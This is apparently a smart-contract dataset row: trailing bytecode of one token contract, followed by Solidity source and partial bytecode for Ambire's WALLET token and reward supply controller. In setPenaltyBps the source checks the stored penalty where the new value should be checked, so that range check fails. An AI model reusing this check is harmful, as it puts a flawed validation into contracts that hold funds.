ff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b600083600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610b2457600080fd5b610b2f858585611d9b565b9150509392505050565b6000600260009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b8d57600080fd5b610c1c82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcd90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610e4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660149054906101000a900460ff161515610e6757600080fd5b6000600660146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610fae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610fb83383611dee565b60019050919050565b6000600660149054906101000a900460ff16905090565b6000610fe382611f44565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156110af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611237576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561128f57600080fd5b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fca5069937e68fd197927055037f59d7c90bf75ac104e6e375539ef480c3ad6ee60405160405180910390a260019050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156113f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660149054906101000a900460ff1615151561141457600080fd5b6001600660146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115565780601f1061152b57610100808354040283529160200191611556565b820191906000526020600020905b81548152906001019060200180831161153957829003601f168201915b5050505050905090565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611627576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6116313383611f8d565b60019050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561167757600080fd5b61170682600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e390919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600033600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118cd57600080fd5b6118d78484612105565b91505092915050565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611a4e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611aa757600080fd5b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304960405160405180910390a260019050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611c10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611cdb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001807f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206181526020017f646472657373000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660149054906101000a900460ff16151515611db957600080fd5b611dc4848484612135565b90509392505050565b6000808284019050838110151515611de457600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611e2a57600080fd5b611e3f816005546120e390919063ffffffff16565b600581905550611e9781600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e390919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611fc957600080fd5b611fde81600554611dcd90919063ffffffff16565b60058190555061203681600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcd90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008282111515156120f457600080fd5b600082840390508091505092915050565b6000600660149054906101000a900460ff1615151561212357600080fd5b61212d838361233d565b905092915050565b60006121c682600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e390919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612251848484612354565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b600061234a338484612354565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561239057600080fd5b6123e281600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e390919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061247781600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcd90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fea165627a7a723058207bc4cf4b2eb31fecb47ff503bad3217d9760b028991fdf4f8cd66839e49a06f50029
|
{"success": true, "error": null, "results": {}}
| 3,726 |
0x94b668337ce8299272ca3cb0c70f3d786a5b6ce5
|
pragma solidity ^0.8.7;
// @TODO: Formatting
library LibBytes {
// @TODO: see if we can just set .length =
function trimToSize(bytes memory b, uint newLen)
internal
pure
{
require(b.length > newLen, "BytesLib: only shrinking");
assembly {
mstore(b, newLen)
}
}
/***********************************|
| Read Bytes Functions |
|__________________________________*/
/**
* @dev Reads a bytes32 value from a position in a byte array.
* @param b Byte array containing a bytes32 value.
* @param index Index in byte array of bytes32 value.
* @return result bytes32 value from byte array.
*/
function readBytes32(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes32 result)
{
// Arrays are prefixed by a 256 bit length parameter
index += 32;
require(b.length >= index, "BytesLib: length");
// Read the bytes32 from array memory
assembly {
result := mload(add(b, index))
}
return result;
}
}
interface IERC1271Wallet {
function isValidSignature(bytes32 hash, bytes calldata signature) external view returns (bytes4 magicValue);
}
library SignatureValidator {
using LibBytes for bytes;
enum SignatureMode {
EIP712,
EthSign,
SmartWallet,
Spoof
}
// bytes4(keccak256("isValidSignature(bytes32,bytes)"))
bytes4 constant internal ERC1271_MAGICVALUE_BYTES32 = 0x1626ba7e;
function recoverAddr(bytes32 hash, bytes memory sig) internal view returns (address) {
return recoverAddrImpl(hash, sig, false);
}
function recoverAddrImpl(bytes32 hash, bytes memory sig, bool allowSpoofing) internal view returns (address) {
require(sig.length >= 1, "SV_SIGLEN");
uint8 modeRaw;
unchecked { modeRaw = uint8(sig[sig.length - 1]); }
SignatureMode mode = SignatureMode(modeRaw);
// {r}{s}{v}{mode}
if (mode == SignatureMode.EIP712 || mode == SignatureMode.EthSign) {
require(sig.length == 66, "SV_LEN");
bytes32 r = sig.readBytes32(0);
bytes32 s = sig.readBytes32(32);
uint8 v = uint8(sig[64]);
// Hesitant about this check: seems like this is something that has no business being checked on-chain
require(v == 27 || v == 28, "SV_INVALID_V");
if (mode == SignatureMode.EthSign) hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "SV_ZERO_SIG");
return signer;
// {sig}{verifier}{mode}
} else if (mode == SignatureMode.SmartWallet) {
// 32 bytes for the addr, 1 byte for the type = 33
require(sig.length > 33, "SV_LEN_WALLET");
uint newLen;
unchecked {
newLen = sig.length - 33;
}
IERC1271Wallet wallet = IERC1271Wallet(address(uint160(uint256(sig.readBytes32(newLen)))));
sig.trimToSize(newLen);
require(ERC1271_MAGICVALUE_BYTES32 == wallet.isValidSignature(hash, sig), "SV_WALLET_INVALID");
return address(wallet);
// {address}{mode}; the spoof mode is used when simulating calls
} else if (mode == SignatureMode.Spoof && allowSpoofing) {
// This is safe cause it's specifically intended for spoofing sigs in simulation conditions, where tx.origin can be controlled
// slither-disable-next-line tx-origin
require(tx.origin == address(1), "SV_SPOOF_ORIGIN");
require(sig.length == 33, "SV_SPOOF_LEN");
sig.trimToSize(32);
return abi.decode(sig, (address));
} else revert("SV_SIGMODE");
}
}
library MerkleProof {
function isContained(bytes32 valueHash, bytes32[] memory proof, bytes32 root) internal pure returns (bool) {
bytes32 cursor = valueHash;
uint256 proofLen = proof.length;
for (uint256 i = 0; i < proofLen; i++) {
if (cursor < proof[i]) {
cursor = keccak256(abi.encodePacked(cursor, proof[i]));
} else {
cursor = keccak256(abi.encodePacked(proof[i], cursor));
}
}
return cursor == root;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract WALLETToken {
// Constants
string public constant name = "Ambire Wallet";
string public constant symbol = "WALLET";
uint8 public constant decimals = 18;
uint public constant MAX_SUPPLY = 1_000_000_000 * 1e18;
// Mutable variables
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Approval(address indexed owner, address indexed spender, uint amount);
event Transfer(address indexed from, address indexed to, uint amount);
event SupplyControllerChanged(address indexed prev, address indexed current);
address public supplyController;
constructor(address _supplyController) {
supplyController = _supplyController;
emit SupplyControllerChanged(address(0), _supplyController);
}
function balanceOf(address owner) external view returns (uint balance) {
return balances[owner];
}
function transfer(address to, uint amount) external returns (bool success) {
balances[msg.sender] = balances[msg.sender] - amount;
balances[to] = balances[to] + amount;
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(address from, address to, uint amount) external returns (bool success) {
balances[from] = balances[from] - amount;
allowed[from][msg.sender] = allowed[from][msg.sender] - amount;
balances[to] = balances[to] + amount;
emit Transfer(from, to, amount);
return true;
}
function approve(address spender, uint amount) external returns (bool success) {
allowed[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint remaining) {
return allowed[owner][spender];
}
// Supply control
function innerMint(address owner, uint amount) internal {
totalSupply = totalSupply + amount;
require(totalSupply < MAX_SUPPLY, 'MAX_SUPPLY');
balances[owner] = balances[owner] + amount;
// Because of https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transfer-1
emit Transfer(address(0), owner, amount);
}
function mint(address owner, uint amount) external {
require(msg.sender == supplyController, 'NOT_SUPPLYCONTROLLER');
innerMint(owner, amount);
}
function changeSupplyController(address newSupplyController) external {
require(msg.sender == supplyController, 'NOT_SUPPLYCONTROLLER');
// Emitting here does not follow checks-effects-interactions-logs, but it's safe anyway cause there are no external calls
emit SupplyControllerChanged(supplyController, newSupplyController);
supplyController = newSupplyController;
}
}
interface IStakingPool {
function enterTo(address recipient, uint amount) external;
}
contract WALLETSupplyController {
event LogNewVesting(address indexed recipient, uint start, uint end, uint amountPerSec);
event LogVestingUnset(address indexed recipient, uint end, uint amountPerSec);
event LogMintVesting(address indexed recipient, uint amount);
// solhint-disable-next-line var-name-mixedcase
WALLETToken public immutable WALLET;
mapping (address => bool) public hasGovernance;
constructor(WALLETToken token, address initialGovernance) {
hasGovernance[initialGovernance] = true;
WALLET = token;
}
// Governance and supply controller
function changeSupplyController(address newSupplyController) external {
require(hasGovernance[msg.sender], "NOT_GOVERNANCE");
WALLET.changeSupplyController(newSupplyController);
}
function setGovernance(address addr, bool level) external {
require(hasGovernance[msg.sender], "NOT_GOVERNANCE");
// Sometimes we need to get someone to de-auth themselves, but
// it's better to protect against bricking rather than have this functionality
// we can burn conrtol by transferring control over to a contract that can't mint or by ypgrading the supply controller
require(msg.sender != addr, "CANNOT_MODIFY_SELF");
hasGovernance[addr] = level;
}
// Vesting
// Some addresses (eg StakingPools) are incentivized with a certain allowance of WALLET per year
// Also used for linear vesting of early supporters, team, etc.
// mapping of (addr => end => rate) => lastMintTime;
mapping (address => mapping(uint => mapping(uint => uint))) public vestingLastMint;
function setVesting(address recipient, uint start, uint end, uint amountPerSecond) external {
require(hasGovernance[msg.sender], "NOT_GOVERNANCE");
// no more than 10 WALLET per second; theoretical emission max should be ~8 WALLET
require(amountPerSecond <= 10e18, "AMOUNT_TOO_LARGE");
require(start >= 1643695200, "START_TOO_LOW");
require(vestingLastMint[recipient][end][amountPerSecond] == 0, "VESTING_ALREADY_SET");
vestingLastMint[recipient][end][amountPerSecond] = start;
emit LogNewVesting(recipient, start, end, amountPerSecond);
}
function unsetVesting(address recipient, uint end, uint amountPerSecond) external {
require(hasGovernance[msg.sender], "NOT_GOVERNANCE");
// AUDIT: Pending (unclaimed) vesting is lost here - this is intentional
vestingLastMint[recipient][end][amountPerSecond] = 0;
emit LogVestingUnset(recipient, end, amountPerSecond);
}
// vesting mechanism
function mintableVesting(address addr, uint end, uint amountPerSecond) public view returns (uint) {
uint lastMinted = vestingLastMint[addr][end][amountPerSecond];
if (lastMinted == 0) return 0;
// solhint-disable-next-line not-rely-on-time
if (block.timestamp > end) {
require(end > lastMinted, "VESTING_OVER");
return (end - lastMinted) * amountPerSecond;
} else {
// this means we have not started yet
// solhint-disable-next-line not-rely-on-time
if (lastMinted > block.timestamp) return 0;
// solhint-disable-next-line not-rely-on-time
return (block.timestamp - lastMinted) * amountPerSecond;
}
}
function mintVesting(address recipient, uint end, uint amountPerSecond) external {
uint amount = mintableVesting(recipient, end, amountPerSecond);
// solhint-disable-next-line not-rely-on-time
vestingLastMint[recipient][end][amountPerSecond] = block.timestamp;
WALLET.mint(recipient, amount);
emit LogMintVesting(recipient, amount);
}
//
// Rewards distribution
//
event LogUpdatePenaltyBps(uint newPenaltyBps);
event LogClaimStaked(address indexed recipient, uint claimed);
event LogClaimWithPenalty(address indexed recipient, uint received, uint burned);
uint public immutable MAX_CLAIM_NODE = 80_000_000e18;
bytes32 public lastRoot;
mapping (address => uint) public claimed;
uint public penaltyBps = 0;
function setPenaltyBps(uint _penaltyBps) external {
require(hasGovernance[msg.sender], "NOT_GOVERNANCE");
require(penaltyBps <= 10000, "BPS_IN_RANGE");
penaltyBps = _penaltyBps;
emit LogUpdatePenaltyBps(_penaltyBps);
}
function setRoot(bytes32 newRoot) external {
require(hasGovernance[msg.sender], "NOT_GOVERNANCE");
lastRoot = newRoot;
}
function claimWithRootUpdate(
// claim() args
address recipient, uint totalRewardInTree, bytes32[] calldata proof, uint toBurnBps, IStakingPool stakingPool,
// args for updating the root
bytes32 newRoot, bytes calldata signature
) external {
address signer = SignatureValidator.recoverAddrImpl(newRoot, signature, false);
require(hasGovernance[signer], "NOT_GOVERNANCE");
lastRoot = newRoot;
claim(recipient, totalRewardInTree, proof, toBurnBps, stakingPool);
}
// claim() has two modes, either receive the full amount as xWALLET (staked WALLET) or burn some (penaltyBps) and receive the rest immediately in $WALLET
// toBurnBps is a safety parameter that serves two purposes:
// 1) prevents griefing attacks/frontrunning where governance sets penalties higher before someone's claim() gets mined
// 2) ensures that the sender really does have the intention to burn some of their tokens but receive the rest immediatey
// set toBurnBps to 0 to receive the tokens as xWALLET, set it to the current penaltyBps to receive immediately
// There is an edge case: when penaltyBps is set to 0, you pass 0 to receive everything immediately; this is intended
function claim(address recipient, uint totalRewardInTree, bytes32[] memory proof, uint toBurnBps, IStakingPool stakingPool) public {
require(totalRewardInTree <= MAX_CLAIM_NODE, "MAX_CLAIM_NODE");
require(lastRoot != bytes32(0), "EMPTY_ROOT");
// Check the merkle proof
bytes32 leaf = keccak256(abi.encode(address(this), recipient, totalRewardInTree));
require(MerkleProof.isContained(leaf, proof, lastRoot), "LEAF_NOT_FOUND");
uint toClaim = totalRewardInTree - claimed[recipient];
claimed[recipient] = totalRewardInTree;
if (toBurnBps == penaltyBps) {
// Claiming in $WALLET directly: some tokens get burned immediately, but the rest go to you
uint toBurn = (toClaim * penaltyBps) / 10000;
uint toReceive = toClaim - toBurn;
// AUDIT: We can check toReceive > 0 or toBurn > 0, but there's no point since in the most common path both will be non-zero
WALLET.mint(recipient, toReceive);
WALLET.mint(address(0), toBurn);
emit LogClaimWithPenalty(recipient, toReceive, toBurn);
} else if (toBurnBps == 0) {
WALLET.mint(address(this), toClaim);
if (WALLET.allowance(address(this), address(stakingPool)) < toClaim) {
WALLET.approve(address(stakingPool), type(uint256).max);
}
stakingPool.enterTo(recipient, toClaim);
emit LogClaimStaked(recipient, toClaim);
} else {
revert("INVALID_TOBURNBPS");
}
}
// In case funds get stuck
function withdraw(IERC20 token, address to, uint256 tokenAmount) external {
require(hasGovernance[msg.sender], "NOT_GOVERNANCE");
// AUDIT: SafeERC20 or similar not needed; this is a trusted (governance only) method that doesn't modify internal accounting
// so sucess/fail does not matter
token.transfer(to, tokenAmount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063b58166f2116100a2578063c884ef8311610071578063c884ef831461029b578063d071821f146102bb578063d9caed12146102ce578063dab5f340146102e1578063ecfad9fd146102f457600080fd5b8063b58166f214610245578063c0ab57041461024e578063c441bdd614610261578063c846b9021461027457600080fd5b80634d94bc22116100e95780634d94bc22146101695780636d9cdbc6146101a157806375051f50146101e0578063a4012b211461021f578063adecfeb21461023257600080fd5b80630b9193941461011b578063158a1ca114610130578063478f614b146101435780634c8675df14610156575b600080fd5b61012e610129366004611990565b6102fd565b005b61012e61013e366004611779565b6103ff565b61012e610151366004611990565b6104b0565b61012e610164366004611893565b610549565b61018c61017736600461173f565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b6101c87f00000000000000000000000088800092ff476844f74dc2fc427974bbee2794ae81565b6040516001600160a01b039091168152602001610198565b6102116101ee366004611990565b600160209081526000938452604080852082529284528284209052825290205481565b604051908152602001610198565b61012e61022d36600461173f565b610af9565b61012e6102403660046117b2565b610ba6565b61021160025481565b61012e61025c3660046119c5565b610c78565b61012e61026f366004611a1d565b610e0f565b6102117f000000000000000000000000000000000000000000422ca8b0a00a425000000081565b6102116102a936600461173f565b60036020526000908152604090205481565b6102116102c9366004611990565b610ebc565b61012e6102dc366004611a60565b610f7e565b61012e6102ef366004611a1d565b611035565b61021160045481565b600061030a848484610ebc565b6001600160a01b038581166000818152600160209081526040808320898452825280832088845290915290819020429055516340c10f1960e01b81526004810191909152602481018390529192507f00000000000000000000000088800092ff476844f74dc2fc427974bbee2794ae16906340c10f1990604401600060405180830381600087803b15801561039e57600080fd5b505af11580156103b2573d6000803e3d6000fd5b50505050836001600160a01b03167fbdd5132b5bbf61ddb648d3924d0e8c01cea8a1cb81481caca655aa8887dfd391826040516103f191815260200190565b60405180910390a250505050565b3360009081526020819052604090205460ff166104375760405162461bcd60e51b815260040161042e90611b17565b60405180910390fd5b336001600160a01b03831614156104855760405162461bcd60e51b815260206004820152601260248201527121a0a72727aa2fa6a7a224a32cafa9a2a62360711b604482015260640161042e565b6001600160a01b03919091166000908152602081905260409020805460ff1916911515919091179055565b3360009081526020819052604090205460ff166104df5760405162461bcd60e51b815260040161042e90611b17565b6001600160a01b0383166000818152600160209081526040808320868452825280832085845282528083209290925581518581529081018490527f5972309416e999cec84dd11b94e842023d4d9e98e67a27a03b3f81a23d49a142910160405180910390a2505050565b7f000000000000000000000000000000000000000000422ca8b0a00a42500000008411156105aa5760405162461bcd60e51b815260206004820152600e60248201526d4d41585f434c41494d5f4e4f444560901b604482015260640161042e565b6002546105e65760405162461bcd60e51b815260206004820152600a602482015269115354151657d493d3d560b21b604482015260640161042e565b604080513060208201526001600160a01b03871691810191909152606081018590526000906080016040516020818303038152906040528051906020012090506106338185600254611069565b6106705760405162461bcd60e51b815260206004820152600e60248201526d1311505197d393d517d193d5539160921b604482015260640161042e565b6001600160a01b0386166000908152600360205260408120546106939087611b98565b6001600160a01b0388166000908152600360205260409020879055600454909150841415610839576000612710600454836106ce9190611b79565b6106d89190611b57565b905060006106e68284611b98565b6040516340c10f1960e01b81526001600160a01b038b81166004830152602482018390529192507f00000000000000000000000088800092ff476844f74dc2fc427974bbee2794ae909116906340c10f1990604401600060405180830381600087803b15801561075557600080fd5b505af1158015610769573d6000803e3d6000fd5b50506040516340c10f1960e01b815260006004820152602481018590527f00000000000000000000000088800092ff476844f74dc2fc427974bbee2794ae6001600160a01b031692506340c10f199150604401600060405180830381600087803b1580156107d657600080fd5b505af11580156107ea573d6000803e3d6000fd5b505060408051848152602081018690526001600160a01b038d1693507f4a5b8a6b39b3298ce4fcca257decda7fd4ba63fea5829f276d864c8a47f894a692500160405180910390a25050610af0565b83610ab4576040516340c10f1960e01b8152306004820152602481018290527f00000000000000000000000088800092ff476844f74dc2fc427974bbee2794ae6001600160a01b0316906340c10f1990604401600060405180830381600087803b1580156108a657600080fd5b505af11580156108ba573d6000803e3d6000fd5b5050604051636eb1769f60e11b81523060048201526001600160a01b0386811660248301528493507f00000000000000000000000088800092ff476844f74dc2fc427974bbee2794ae16915063dd62ed3e9060440160206040518083038186803b15801561092757600080fd5b505afa15801561093b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095f9190611aa1565b1015610a0a5760405163095ea7b360e01b81526001600160a01b03848116600483015260001960248301527f00000000000000000000000088800092ff476844f74dc2fc427974bbee2794ae169063095ea7b390604401602060405180830381600087803b1580156109d057600080fd5b505af11580156109e4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a089190611a00565b505b604051637c49e9a360e11b81526001600160a01b0388811660048301526024820183905284169063f893d34690604401600060405180830381600087803b158015610a5457600080fd5b505af1158015610a68573d6000803e3d6000fd5b50505050866001600160a01b03167f6e959283d36b45a40cf5ad502986bf0cfa736b75f9b6d63a86ab0ccd816952f782604051610aa791815260200190565b60405180910390a2610af0565b60405162461bcd60e51b8152602060048201526011602482015270494e56414c49445f544f4255524e42505360781b604482015260640161042e565b50505050505050565b3360009081526020819052604090205460ff16610b285760405162461bcd60e51b815260040161042e90611b17565b60405163a4012b2160e01b81526001600160a01b0382811660048301527f00000000000